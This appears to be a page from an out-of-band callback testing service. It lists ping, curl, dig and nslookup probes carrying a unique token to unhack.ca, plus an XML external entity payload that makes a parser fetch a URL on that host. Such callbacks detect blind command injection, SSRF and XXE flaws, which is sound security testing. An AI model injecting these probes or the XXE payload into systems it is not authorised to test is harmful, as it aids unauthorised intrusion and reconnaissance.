$ ping -c1 -p 0033ec6311aa6f4dc39b6d5d4ad71000 unhack.ca
 
$ curl http://unhack.ca/p/33ec6311aa6f4dc39b6d5d4ad710
 
$ dig 33ec6311aa6f4dc39b6d5d4ad710 @unhack.ca
 
$ dig 33ec6311aa6f4dc39b6d5d4ad710.ns.unhack.ca
 
C:\> nslookup 33ec6311aa6f4dc39b6d5d4ad710 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/33ec6311aa6f4dc39b6d5d4ad710">]>
    <foo>&xxe;</foo>
Waiting for ping...